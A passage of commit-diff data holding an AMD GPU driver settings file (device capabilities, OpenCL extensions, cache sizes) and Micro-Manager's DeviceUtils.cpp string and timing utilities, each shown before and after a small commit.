Pal::AsicRevision::Hawaii) {\n            reportFMAF_ = true;\n        }\n        \/\/ Cache line size is 64 bytes\n        cacheLineSize_  = 64;\n        \/\/ L1 cache size is 16KB\n        cacheSize_      = 16 * Ki;\n\n        libSelector_ = amd::GPU_Library_CI;\n        if (LP64_SWITCH(WINDOWS_SWITCH(viPlus_, false), true)) {\n            oclVersion_ = !reportAsOCL12Device \/*&& calAttr.isOpenCL200Device*\/ ?\n                XCONCAT(OpenCL, XCONCAT(OPENCL_MAJOR, OPENCL_MINOR)) : OpenCL12;\n        }\n        if (GPU_FORCE_OCL20_32BIT) {\n            force32BitOcl20_ = true;\n            oclVersion_ = !reportAsOCL12Device \/*&& calAttr.isOpenCL200Device*\/ ?\n                XCONCAT(OpenCL, XCONCAT(OPENCL_MAJOR, OPENCL_MINOR)) : OpenCL12;\n        }\n        if (OPENCL_VERSION < 200) {\n            oclVersion_ = OpenCL12;\n        }\n        numComputeRings_ = 8;\n\n        \/\/ This needs to be cleaned once 64bit addressing is stable\n        if (oclVersion_ < OpenCL20) {\n            use64BitPtr_ = flagIsDefault(GPU_FORCE_64BIT_PTR) ? LP64_SWITCH(false,\n                \/*calAttr.isWorkstation ||*\/ true) : GPU_FORCE_64BIT_PTR;\n        }\n        else {\n            if (GPU_FORCE_64BIT_PTR || LP64_SWITCH(false, true)) {\n                use64BitPtr_    = true;\n            }\n        }\n\n        if (oclVersion_ >= OpenCL20) {\n            supportDepthsRGB_ = true;\n        }\n        if (use64BitPtr_) {\n            if (GPU_ENABLE_LARGE_ALLOCATION \/*&& calAttr.isWorkstation*\/) {\n                maxAllocSize_   = 64ULL * Gi;\n            }\n            else {\n                maxAllocSize_   = 4048 * Mi;\n            }\n        }\n        else {\n            maxAllocSize_   = 3ULL * Gi;\n        }\n\n        supportRA_  = false;\n        partialDispatch_    = GPU_PARTIAL_DISPATCH;\n        numMemDependencies_ = GPU_NUM_MEM_DEPENDENCY;\n        break;\n    default:\n        assert(0 && \"Unknown ASIC type!\");\n        return false;\n    }\n\n    \/\/ Enable atomics support\n    enableExtension(ClKhrInt64BaseAtomics);\n    enableExtension(ClKhrInt64ExtendedAtomics);\n    enableExtension(ClKhrGlobalInt32BaseAtomics);\n    enableExtension(ClKhrGlobalInt32ExtendedAtomics);\n    enableExtension(ClKhrLocalInt32BaseAtomics);\n    enableExtension(ClKhrLocalInt32ExtendedAtomics);\n    enableExtension(ClKhrByteAddressableStore);\n    enableExtension(ClKhrGlSharing);\n    enableExtension(ClKhrGlEvent);\n    enableExtension(ClAmdMediaOps);\n    enableExtension(ClAmdMediaOps2);\n    enableExtension(ClAmdPopcnt);\n    enableExtension(ClKhr3DImageWrites);\n    enableExtension(ClAmdVec3);\n    enableExtension(ClAmdPrintf);\n    enableExtension(ClKhrImage2dFromBuffer);\n    \/\/ Enable some platform extensions\n    enableExtension(ClAmdDeviceAttributeQuery);\n    enableExtension(ClKhrSpir);\n    enableExtension(ClAMDLiquidFlash);\n\n    hwLDSSize_      = 32 * Ki;\n\n    imageSupport_       = true;\n\n    \/\/ Use kernels for blit if appropriate\n    blitEngine_     = BlitEngineKernel;\n\n    hostMemDirectAccess_ |= HostMemBuffer;\n    \/\/ HW doesn't support untiled image writes\n    \/\/ hostMemDirectAccess_ |= HostMemImage;\n\n    \/\/ Make sure device actually supports double precision\n    doublePrecision_ = (doublePrecision) ? doublePrecision_ : false;\n    if (doublePrecision_) {\n        \/\/ Enable KHR double precision extension\n        enableExtension(ClKhrFp64);\n    }\n\n    if (doublePrecision) {\n        \/\/ Enable AMD double precision extension\n        doublePrecision_ = true;\n        enableExtension(ClAmdFp64);\n    }\n\n\/\/! @todo \n\/*\n    if (calAttr.totalSDIHeap > 0) {\n        \/\/Enable bus addressable memory extension\n        enableExtension(ClAMDBusAddressableMemory);\n    }\n\n    if (calAttr.longIdleDetect) {\n        \/\/ KMD is unable to detect if we map the visible memory for CPU access, so\n        \/\/ accessing persistent staged buffer may fail if LongIdleDetct is enabled.\n        disablePersistent_ = true;\n    }\n\n    svmFineGrainSystem_ = calAttr.isSVMFineGrainSystem;\n\n    svmAtomics_ = (calAttr.svmAtomics || calAttr.isSVMFineGrainSystem) ? true : false;\n*\/\n\n    \/\/ SVM is not currently supported for DX Interop\n#if defined(_WIN32)\n    enableExtension(ClKhrD3d9Sharing);\n    enableExtension(ClKhrD3d10Sharing);\n    enableExtension(ClKhrD3d11Sharing);\n#endif \/\/ _WIN32\n\n    \/\/ Enable some OpenCL 2.0 extensions\n    if (oclVersion_ >= OpenCL20) {\n        enableExtension(ClKhrGLDepthImages);\n        enableExtension(ClKhrSubGroups);\n        enableExtension(ClKhrDepthImages);\n\n        if (GPU_MIPMAP) {\n            enableExtension(ClKhrMipMapImage);\n            enableExtension(ClKhrMipMapImageWrites);\n        }\n\n        \/\/ Enable HW debug\n        if (GPU_ENABLE_HW_DEBUG) {\n            enableHwDebug_ = true;\n        }\n    }\n\n\n    if (apuSystem_ &&\n       ((heaps[Pal::GpuHeapLocal].heapSize + heaps[Pal::GpuHeapInvisible].heapSize) < (150*Mi))) {\n        remoteAlloc_ = true;\n    }\n\n    \/\/ Save resource cache size\n#ifdef ATI_OS_LINUX\n    \/\/ Due to EPR#406216, set the default value for Linux for now\n    resourceCacheSize_ = GPU_RESOURCE_CACHE_SIZE * Mi;\n#else\n    if (remoteAlloc_) {\n        resourceCacheSize_ = std::max((heaps[Pal::GpuHeapGartUswc].heapSize \/ 8),\n            (uint64_t)GPU_RESOURCE_CACHE_SIZE * Mi);\n    }\n    else {\n        resourceCacheSize_ = std::max(((heaps[Pal::GpuHeapLocal].heapSize +\n            heaps[Pal::GpuHeapInvisible].heapSize) \/ 8),\n            (uint64_t)GPU_RESOURCE_CACHE_SIZE * Mi);\n    }\n    resourceCacheSize_ = std::min(resourceCacheSize_, 512 * Mi);\n#endif\n\n    \/\/ Override current device settings\n    override();\n\n    return true;\n}\n\nvoid\nSettings::override()\n{\n    \/\/ Limit reported workgroup size\n    if (GPU_MAX_WORKGROUP_SIZE != 0) {\n        maxWorkGroupSize_ = GPU_MAX_WORKGROUP_SIZE;\n    }\n\n    \/\/ Override blit engine type\n    if (GPU_BLIT_ENGINE_TYPE != BlitEngineDefault) {\n        blitEngine_ = GPU_BLIT_ENGINE_TYPE;\n    }\n\n    if (!flagIsDefault(DEBUG_GPU_FLAGS)) {\n        debugFlags_ = DEBUG_GPU_FLAGS;\n    }\n\n    if (!flagIsDefault(DEBUG_GPU_FLAGS)) {\n        debugFlags_ = DEBUG_GPU_FLAGS;\n    }\n\n    if (!flagIsDefault(GPU_XFER_BUFFER_SIZE)) {\n        xferBufSize_ = GPU_XFER_BUFFER_SIZE * Ki;\n    }\n\n    if (!flagIsDefault(GPU_USE_SYNC_OBJECTS)) {\n        syncObject_ = GPU_USE_SYNC_OBJECTS;\n    }\n\n    if (!flagIsDefault(GPU_NUM_COMPUTE_RINGS)) {\n        numComputeRings_ = GPU_NUM_COMPUTE_RINGS;\n    }\n\n    if (!flagIsDefault(GPU_RESOURCE_CACHE_SIZE)) {\n        resourceCacheSize_ = GPU_RESOURCE_CACHE_SIZE * Mi;\n    }\n\n    if (!flagIsDefault(AMD_GPU_FORCE_SINGLE_FP_DENORM)) {\n        switch (AMD_GPU_FORCE_SINGLE_FP_DENORM) {\n        case 0:\n            singleFpDenorm_ = false;\n            break;\n        case 1:\n            singleFpDenorm_ = true;\n            break;\n        default:\n            break;\n        }\n    }\n}\n\n} \/\/ namespace pal\n<commit_msg>P4 to Git Change 1319372 by gandryey@gera-w8 on 2016\/09\/27 12:16:18<commit_after>\/\/\n\/\/ Copyright (c) 2015 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n#include \"top.hpp\"\n#include \"os\/os.hpp\"\n#include \"device\/device.hpp\"\n#include \"device\/pal\/paldefs.hpp\"\n#include \"device\/pal\/palsettings.hpp\"\n\n#include <algorithm>\n\nnamespace pal {\n\n\/*! \\brief information for adjusting maximum workload time\n *\n *  This structure contains the time and OS minor version for max workload time\n *  adjustment for Windows 7 or 8.\n *\/\nstruct ModifyMaxWorkload\n{\n    uint32_t time;          \/\/!< max work load time (10x ms)\n    uint32_t minorVersion;  \/\/!< OS minor version\n};\n\n\nSettings::Settings()\n{\n    \/\/ Initialize the GPU device default settings\n    oclVersion_         = OpenCL12;\n    debugFlags_         = 0;\n    syncObject_         = GPU_USE_SYNC_OBJECTS;\n    remoteAlloc_        = REMOTE_ALLOC;\n\n    stagedXferRead_   = true;\n    stagedXferWrite_  = true;\n    stagedXferSize_   = GPU_STAGING_BUFFER_SIZE * Ki;\n\n    \/\/ We will enable staged read\/write if we use local memory\n    disablePersistent_ = false;\n\n    \/\/ By Default persistent writes will be disabled.\n    stagingWritePersistent_ = GPU_STAGING_WRITE_PERSISTENT;\n\n    maxRenames_         = 4;\n    maxRenameSize_      = 4 * Mi;\n\n    imageSupport_       = false;\n    hwLDSSize_          = 0;\n\n    \/\/ Set this to true when we drop the flag\n    doublePrecision_    = ::CL_KHR_FP64;\n\n    \/\/ Fill workgroup info size\n    \/\/ @todo: revisit the 256 limitation on workgroup size\n    maxWorkGroupSize_   = 256;\n\n    hostMemDirectAccess_  = HostMemDisable;\n\n    libSelector_    = amd::LibraryUndefined;\n\n    \/\/ Enable workload split by default (for 24 bit arithmetic or timeout)\n    workloadSplitSize_  = 1 << GPU_WORKLOAD_SPLIT;\n\n    \/\/ By default use host blit\n    blitEngine_         = BlitEngineHost;\n    const static size_t MaxPinnedXferSize = 32;\n    pinnedXferSize_     = std::min(GPU_PINNED_XFER_SIZE, MaxPinnedXferSize) * Mi;\n    pinnedMinXferSize_  = std::min(GPU_PINNED_MIN_XFER_SIZE * Ki, pinnedXferSize_);\n\n    \/\/ Disable FP_FAST_FMA defines by default\n    reportFMAF_ = false;\n    reportFMA_  = false;\n\n    \/\/ GPU device by default\n    apuSystem_  = false;\n\n    \/\/ Disable 64 bit pointers support by default\n    use64BitPtr_ = false;\n\n    \/\/ Max alloc size is 16GB\n    maxAllocSize_ = 16 * static_cast<uint64_t>(Gi);\n\n    \/\/ Disable memory dependency tracking by default\n    numMemDependencies_ = 0;\n\n    \/\/ By default cache isn't present\n    cacheLineSize_  = 0;\n    cacheSize_      = 0;\n\n    \/\/ Initialize transfer buffer size to 1MB by default\n    xferBufSize_    = 1024 * Ki;\n\n    \/\/ Use image DMA if requested\n    imageDMA_       = GPU_IMAGE_DMA;\n\n    \/\/ Disable ASIC specific features by default\n    viPlus_         = false;\n    aiPlus_         = false;\n\n    \/\/ Number of compute rings.\n    numComputeRings_ = 0;\n\n    minWorkloadTime_ = 1;       \/\/ 0.1 ms\n    maxWorkloadTime_ = 5000;    \/\/ 500 ms\n\n    \/\/ Controls tiled images in persistent\n    \/\/!@note IOL for Linux doesn't setup tiling aperture in CMM\/QS\n    linearPersistentImage_ = false;\n\n    useSingleScratch_ = GPU_USE_SINGLE_SCRATCH;\n\n    \/\/ Device enqueuing settings\n    numDeviceEvents_ = 1024;\n    numWaitEvents_   = 8;\n\n    \/\/ Don't support platform atomics by default.\n    svmAtomics_ = false;\n\n    \/\/ Use host queue for device enqueuing by default\n    useDeviceQueue_ = GPU_USE_DEVICE_QUEUE;\n\n    \/\/ Don't support Denormals for single precision by default\n    singleFpDenorm_ = false;\n\n    \/\/ Disable SDMA workaround by default\n    sdamPageFaultWar_ = false;\n}\n\nbool\nSettings::create(\n    const Pal::DeviceProperties& palProp,\n    const Pal::GpuMemoryHeapProperties* heaps,\n    bool reportAsOCL12Device\n)\n{\n\/\/    uint    target = calAttr.target;\n    uint32_t osVer = 0x0;\n\n    \/\/ Disable thread trace by default for all devices\n    threadTraceEnable_ = false;\n    bool doublePrecision = true;\n\n    if (doublePrecision) {\n        \/\/ Report FP_FAST_FMA define if double precision HW\n        reportFMA_ = true;\n        \/\/ FMA is 1\/4 speed on Pitcairn, Cape Verde, Devastator and Scrapper\n        \/\/ Bonaire, Kalindi, Spectre and Spooky so disable\n        \/\/ FP_FMA_FMAF for those parts in switch below\n        reportFMAF_ = true;\n    }\n\n    \/\/ Update GPU specific settings and info structure if we have any\n    ModifyMaxWorkload modifyMaxWorkload = {0};\n\n    switch (palProp.revision) {\n    case Pal::AsicRevision::Unknown:\n        switch (palProp.gfxLevel) {\n        case Pal::GfxIpLevel::GfxIp9:\n            aiPlus_ = true;\n            break;\n        default:\n            assert(0 && \"Unknown GfxIP type!\");\n            return false;\n        }\n        \/\/ Fall through to VI ...\n    case Pal::AsicRevision::Carrizo:\n    case Pal::AsicRevision::Stoney:\n        if (!aiPlus_) {\n            \/\/ APU systems for VI\n            apuSystem_  = true;\n        }\n    case Pal::AsicRevision::Iceland:\n    case Pal::AsicRevision::Tonga:\n    case Pal::AsicRevision::Fiji:\n    case Pal::AsicRevision::Ellesmere:\n    case Pal::AsicRevision::Baffin:\n        \/\/ Disable tiling aperture on VI+\n        linearPersistentImage_ = true;\n        \/\/ Keep this false even though we have support\n        \/\/ singleFpDenorm_ = true;\n        viPlus_ = true;\n        \/\/ SDMA may have memory access outside of\n        \/\/ the valid buffer range and cause a page fault\n        sdamPageFaultWar_ = true;\n        \/\/ Fall through to CI ...\n    case Pal::AsicRevision::Kalindi:\n    case Pal::AsicRevision::Spectre:\n        if (!viPlus_) {\n            \/\/ APU systems for CI\n            apuSystem_  = true;\n            \/\/ Fix BSOD\/TDR issues observed on Kaveri Win7 (EPR#416903)\n            modifyMaxWorkload.time = 2500;      \/\/ 250ms\n            modifyMaxWorkload.minorVersion = 1; \/\/ Win 7\n        }\n        \/\/ Fall through ...\n    case Pal::AsicRevision::Bonaire:\n    case Pal::AsicRevision::Hawaii:\n        threadTraceEnable_ = AMD_THREAD_TRACE_ENABLE;\n        reportFMAF_ = false;\n        if (palProp.revision == Pal::AsicRevision::Hawaii) {\n            reportFMAF_ = true;\n        }\n        \/\/ Cache line size is 64 bytes\n        cacheLineSize_  = 64;\n        \/\/ L1 cache size is 16KB\n        cacheSize_      = 16 * Ki;\n\n        libSelector_ = amd::GPU_Library_CI;\n        if (LP64_SWITCH(false, true)) {\n            oclVersion_ = !reportAsOCL12Device \/*&& calAttr.isOpenCL200Device*\/ ?\n                XCONCAT(OpenCL, XCONCAT(OPENCL_MAJOR, OPENCL_MINOR)) : OpenCL12;\n        }\n        if (GPU_FORCE_OCL20_32BIT) {\n            force32BitOcl20_ = true;\n            oclVersion_ = !reportAsOCL12Device \/*&& calAttr.isOpenCL200Device*\/ ?\n                XCONCAT(OpenCL, XCONCAT(OPENCL_MAJOR, OPENCL_MINOR)) : OpenCL12;\n        }\n        if (OPENCL_VERSION < 200) {\n            oclVersion_ = OpenCL12;\n        }\n        numComputeRings_ = 8;\n\n        \/\/ This needs to be cleaned once 64bit addressing is stable\n        if (oclVersion_ < OpenCL20) {\n            use64BitPtr_ = flagIsDefault(GPU_FORCE_64BIT_PTR) ? LP64_SWITCH(false,\n                \/*calAttr.isWorkstation ||*\/ true) : GPU_FORCE_64BIT_PTR;\n        }\n        else {\n            if (GPU_FORCE_64BIT_PTR || LP64_SWITCH(false, true)) {\n                use64BitPtr_    = true;\n            }\n        }\n\n        if (oclVersion_ >= OpenCL20) {\n            supportDepthsRGB_ = true;\n        }\n        if (use64BitPtr_) {\n            if (GPU_ENABLE_LARGE_ALLOCATION \/*&& calAttr.isWorkstation*\/) {\n                maxAllocSize_   = 64ULL * Gi;\n            }\n            else {\n                maxAllocSize_   = 4048 * Mi;\n            }\n        }\n        else {\n            maxAllocSize_   = 3ULL * Gi;\n        }\n\n        supportRA_  = false;\n        partialDispatch_    = GPU_PARTIAL_DISPATCH;\n        numMemDependencies_ = GPU_NUM_MEM_DEPENDENCY;\n        break;\n    default:\n        assert(0 && \"Unknown ASIC type!\");\n        return false;\n    }\n\n    \/\/ Enable atomics support\n    enableExtension(ClKhrInt64BaseAtomics);\n    enableExtension(ClKhrInt64ExtendedAtomics);\n    enableExtension(ClKhrGlobalInt32BaseAtomics);\n    enableExtension(ClKhrGlobalInt32ExtendedAtomics);\n    enableExtension(ClKhrLocalInt32BaseAtomics);\n    enableExtension(ClKhrLocalInt32ExtendedAtomics);\n    enableExtension(ClKhrByteAddressableStore);\n    enableExtension(ClKhrGlSharing);\n    enableExtension(ClKhrGlEvent);\n    enableExtension(ClAmdMediaOps);\n    enableExtension(ClAmdMediaOps2);\n    enableExtension(ClAmdPopcnt);\n    enableExtension(ClKhr3DImageWrites);\n    enableExtension(ClAmdVec3);\n    enableExtension(ClAmdPrintf);\n    enableExtension(ClKhrImage2dFromBuffer);\n    \/\/ Enable some platform extensions\n    enableExtension(ClAmdDeviceAttributeQuery);\n    enableExtension(ClKhrSpir);\n    enableExtension(ClAMDLiquidFlash);\n\n    hwLDSSize_      = 32 * Ki;\n\n    imageSupport_       = true;\n\n    \/\/ Use kernels for blit if appropriate\n    blitEngine_     = BlitEngineKernel;\n\n    hostMemDirectAccess_ |= HostMemBuffer;\n    \/\/ HW doesn't support untiled image writes\n    \/\/ hostMemDirectAccess_ |= HostMemImage;\n\n    \/\/ Make sure device actually supports double precision\n    doublePrecision_ = (doublePrecision) ? doublePrecision_ : false;\n    if (doublePrecision_) {\n        \/\/ Enable KHR double precision extension\n        enableExtension(ClKhrFp64);\n    }\n\n    if (doublePrecision) {\n        \/\/ Enable AMD double precision extension\n        doublePrecision_ = true;\n        enableExtension(ClAmdFp64);\n    }\n\n\/\/! @todo \n\/*\n    if (calAttr.totalSDIHeap > 0) {\n        \/\/Enable bus addressable memory extension\n        enableExtension(ClAMDBusAddressableMemory);\n    }\n\n    if (calAttr.longIdleDetect) {\n        \/\/ KMD is unable to detect if we map the visible memory for CPU access, so\n        \/\/ accessing persistent staged buffer may fail if LongIdleDetct is enabled.\n        disablePersistent_ = true;\n    }\n\n    svmFineGrainSystem_ = calAttr.isSVMFineGrainSystem;\n\n    svmAtomics_ = (calAttr.svmAtomics || calAttr.isSVMFineGrainSystem) ? true : false;\n*\/\n\n    \/\/ SVM is not currently supported for DX Interop\n#if defined(_WIN32)\n    enableExtension(ClKhrD3d9Sharing);\n    enableExtension(ClKhrD3d10Sharing);\n    enableExtension(ClKhrD3d11Sharing);\n#endif \/\/ _WIN32\n\n    \/\/ Enable some OpenCL 2.0 extensions\n    if (oclVersion_ >= OpenCL20) {\n        enableExtension(ClKhrGLDepthImages);\n        enableExtension(ClKhrSubGroups);\n        enableExtension(ClKhrDepthImages);\n\n        if (GPU_MIPMAP) {\n            enableExtension(ClKhrMipMapImage);\n            enableExtension(ClKhrMipMapImageWrites);\n        }\n\n        \/\/ Enable HW debug\n        if (GPU_ENABLE_HW_DEBUG) {\n            enableHwDebug_ = true;\n        }\n    }\n\n\n    if (apuSystem_ &&\n       ((heaps[Pal::GpuHeapLocal].heapSize + heaps[Pal::GpuHeapInvisible].heapSize) < (150*Mi))) {\n        remoteAlloc_ = true;\n    }\n\n    \/\/ Save resource cache size\n#ifdef ATI_OS_LINUX\n    \/\/ Due to EPR#406216, set the default value for Linux for now\n    resourceCacheSize_ = GPU_RESOURCE_CACHE_SIZE * Mi;\n#else\n    if (remoteAlloc_) {\n        resourceCacheSize_ = std::max((heaps[Pal::GpuHeapGartUswc].heapSize \/ 8),\n            (uint64_t)GPU_RESOURCE_CACHE_SIZE * Mi);\n    }\n    else {\n        resourceCacheSize_ = std::max(((heaps[Pal::GpuHeapLocal].heapSize +\n            heaps[Pal::GpuHeapInvisible].heapSize) \/ 8),\n            (uint64_t)GPU_RESOURCE_CACHE_SIZE * Mi);\n    }\n    resourceCacheSize_ = std::min(resourceCacheSize_, 512 * Mi);\n#endif\n\n    \/\/ Override current device settings\n    override();\n\n    return true;\n}\n\nvoid\nSettings::override()\n{\n    \/\/ Limit reported workgroup size\n    if (GPU_MAX_WORKGROUP_SIZE != 0) {\n        maxWorkGroupSize_ = GPU_MAX_WORKGROUP_SIZE;\n    }\n\n    \/\/ Override blit engine type\n    if (GPU_BLIT_ENGINE_TYPE != BlitEngineDefault) {\n        blitEngine_ = GPU_BLIT_ENGINE_TYPE;\n    }\n\n    if (!flagIsDefault(DEBUG_GPU_FLAGS)) {\n        debugFlags_ = DEBUG_GPU_FLAGS;\n    }\n\n    if (!flagIsDefault(DEBUG_GPU_FLAGS)) {\n        debugFlags_ = DEBUG_GPU_FLAGS;\n    }\n\n    if (!flagIsDefault(GPU_XFER_BUFFER_SIZE)) {\n        xferBufSize_ = GPU_XFER_BUFFER_SIZE * Ki;\n    }\n\n    if (!flagIsDefault(GPU_USE_SYNC_OBJECTS)) {\n        syncObject_ = GPU_USE_SYNC_OBJECTS;\n    }\n\n    if (!flagIsDefault(GPU_NUM_COMPUTE_RINGS)) {\n        numComputeRings_ = GPU_NUM_COMPUTE_RINGS;\n    }\n\n    if (!flagIsDefault(GPU_RESOURCE_CACHE_SIZE)) {\n        resourceCacheSize_ = GPU_RESOURCE_CACHE_SIZE * Mi;\n    }\n\n    if (!flagIsDefault(AMD_GPU_FORCE_SINGLE_FP_DENORM)) {\n        switch (AMD_GPU_FORCE_SINGLE_FP_DENORM) {\n        case 0:\n            singleFpDenorm_ = false;\n            break;\n        case 1:\n            singleFpDenorm_ = true;\n            break;\n        default:\n            break;\n        }\n    }\n}\n\n} \/\/ namespace pal\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FILE:          DeviceUtils.cpp\n\/\/ PROJECT:       Micro-Manager\n\/\/ SUBSYSTEM:     MMDevice - Device adapter kit\n\/\/-----------------------------------------------------------------------------\n\/\/ DESCRIPTION:   Class with utility methods for building device adapters\n\/\/ AUTHOR:        Nenad Amodaj, nenad@amodaj.com 06\/08\/2005\n\/\/ COPYRIGHT:     University of California, San Francisco, 2006\n\/\/ LICENSE:       This file is distributed under the BSD license.\n\/\/                License text is included with the source distribution.\n\/\/\n\/\/                This file is distributed in the hope that it will be useful,\n\/\/                but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/                of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\/\/\n\/\/                IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/                CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/                INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.\n\/\/ CVS:           $Id$\n\/\/\n#include \"DeviceUtils.h\"\n#include \"..\/MMcore\/CoreUtils.h\"\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\n#ifdef WIN32\n   #define WIN32_LEAN_AND_MEAN\n   #include <windows.h>\n   #define snprintf _snprintf \n#pragma warning(disable : 4996)\n#endif\n\nchar CDeviceUtils::m_pszBuffer[MM::MaxStrLength]={\"\"};\n\n\/**\n * Copies strings with predefined size limit.\n *\/\nbool CDeviceUtils::CopyLimitedString(char* target, const char* source)\n{\n   strncpy(target, source, MM::MaxStrLength - 1);\n   if ((MM::MaxStrLength - 1) < strlen(source))\n   {\n      target[MM::MaxStrLength - 1] = 0;\n      return false; \/\/ string truncated\n   }\n   else\n      return true;\n}\n\n\/**\n * Programmatic access to the system-wide string size limit.\n *\/\nunsigned CDeviceUtils::GetMaxStringLength()\n{\n   return MM::MaxStrLength;\n}\n\n\/**\n * Convert long value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(long lnVal)\n{\n   \/\/ return ltoa(lnVal, m_pszBuffer, 10);\n   snprintf(m_pszBuffer, MM::MaxStrLength-1, \"%ld\", lnVal); \n   return m_pszBuffer;\n}\n\n\/**\n * Convert int value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(int intVal)\n{\n   return ConvertToString((long)intVal);\n}\n\n\/**\n * Convert double value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(double dVal)\n{\n   \/\/return _gcvt(dVal, 12, m_pszBuffer);\n   snprintf(m_pszBuffer, MM::MaxStrLength-1, \"%.2f\", dVal); \n   return m_pszBuffer;\n}\n\n\/**\n * Convert boolean value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(bool val)\n{\n   snprintf(m_pszBuffer, MM::MaxStrLength-1, \"%s\", val ? \"1\" : \"0\"); \n   return m_pszBuffer;\n}\n\n\/**\n * Parse the string and return an array of tokens.\n * @param str - input string\n * @param tokens - output array of tokens\n * @param delimiters - a string containing a set of single-character token delimiters\n *\/\nvoid CDeviceUtils::Tokenize(const std::string& str, std::vector<std::string>& tokens, const std::string& delimiters)\n{\n    \/\/ Skip delimiters at beginning.\n   std::string::size_type lastPos = str.find_first_not_of(delimiters, 0);\n    \/\/ Find first \"non-delimiter\".\n   std::string::size_type pos     = str.find_first_of(delimiters, lastPos);\n\n   while (std::string::npos != pos || std::string::npos != lastPos)\n    {\n        \/\/ Found a token, add it to the vector.\n        tokens.push_back(str.substr(lastPos, pos - lastPos));\n        \/\/ Skip delimiters.  Note the \"not_of\"\n        lastPos = str.find_first_not_of(delimiters, pos);\n        \/\/ Find next \"non-delimiter\"\n        pos = str.find_first_of(delimiters, lastPos);\n    }\n}\n\n\/**\n * Block the current thread for the specified interval in milliseconds.\n *\/\nvoid CDeviceUtils::SleepMs(long periodMs)\n{\n#ifdef WIN32\n   Sleep(periodMs);\n#else\n   usleep(periodMs * 1000);\n#endif\n}\n\n\n\n#ifdef _WINDOWS\n \nint gettimeofday(struct timeval *tv, struct timezone *tz)\n{\n  FILETIME ft;\n  unsigned __int64 tmpres = 0;\n  static int tzflag;\n \n  if (NULL != tv)\n  {\n    GetSystemTimeAsFileTime(&ft);\n \n    tmpres |= ft.dwHighDateTime;\n    tmpres <<= 32;\n    tmpres |= ft.dwLowDateTime;\n \n    \/*converting file time to unix epoch*\/\n    tmpres -= DELTA_EPOCH_IN_MICROSECS; \n    tmpres \/= 10;  \/*convert into microseconds*\/\n    tv->tv_sec = (long)(tmpres \/ 1000000UL);\n    tv->tv_usec = (long)(tmpres % 1000000UL);\n  }\n \n  if (NULL != tz)\n  {\n    if (!tzflag)\n    {\n      _tzset();\n      tzflag++;\n    }\n    tz->tz_minuteswest = _timezone \/ 60;\n    tz->tz_dsttime = _daylight;\n  }\n \n  return 0;\n}\n\n#endif\n<commit_msg>Johannes: fix type<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FILE:          DeviceUtils.cpp\n\/\/ PROJECT:       Micro-Manager\n\/\/ SUBSYSTEM:     MMDevice - Device adapter kit\n\/\/-----------------------------------------------------------------------------\n\/\/ DESCRIPTION:   Class with utility methods for building device adapters\n\/\/ AUTHOR:        Nenad Amodaj, nenad@amodaj.com 06\/08\/2005\n\/\/ COPYRIGHT:     University of California, San Francisco, 2006\n\/\/ LICENSE:       This file is distributed under the BSD license.\n\/\/                License text is included with the source distribution.\n\/\/\n\/\/                This file is distributed in the hope that it will be useful,\n\/\/                but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/                of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\/\/\n\/\/                IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/                CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/                INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.\n\/\/ CVS:           $Id$\n\/\/\n#include \"DeviceUtils.h\"\n#include \"..\/MMCore\/CoreUtils.h\"\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\n#ifdef WIN32\n   #define WIN32_LEAN_AND_MEAN\n   #include <windows.h>\n   #define snprintf _snprintf \n#pragma warning(disable : 4996)\n#endif\n\nchar CDeviceUtils::m_pszBuffer[MM::MaxStrLength]={\"\"};\n\n\/**\n * Copies strings with predefined size limit.\n *\/\nbool CDeviceUtils::CopyLimitedString(char* target, const char* source)\n{\n   strncpy(target, source, MM::MaxStrLength - 1);\n   if ((MM::MaxStrLength - 1) < strlen(source))\n   {\n      target[MM::MaxStrLength - 1] = 0;\n      return false; \/\/ string truncated\n   }\n   else\n      return true;\n}\n\n\/**\n * Programmatic access to the system-wide string size limit.\n *\/\nunsigned CDeviceUtils::GetMaxStringLength()\n{\n   return MM::MaxStrLength;\n}\n\n\/**\n * Convert long value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(long lnVal)\n{\n   \/\/ return ltoa(lnVal, m_pszBuffer, 10);\n   snprintf(m_pszBuffer, MM::MaxStrLength-1, \"%ld\", lnVal); \n   return m_pszBuffer;\n}\n\n\/**\n * Convert int value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(int intVal)\n{\n   return ConvertToString((long)intVal);\n}\n\n\/**\n * Convert double value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(double dVal)\n{\n   \/\/return _gcvt(dVal, 12, m_pszBuffer);\n   snprintf(m_pszBuffer, MM::MaxStrLength-1, \"%.2f\", dVal); \n   return m_pszBuffer;\n}\n\n\/**\n * Convert boolean value to string.\n *\/\nconst char* CDeviceUtils::ConvertToString(bool val)\n{\n   snprintf(m_pszBuffer, MM::MaxStrLength-1, \"%s\", val ? \"1\" : \"0\"); \n   return m_pszBuffer;\n}\n\n\/**\n * Parse the string and return an array of tokens.\n * @param str 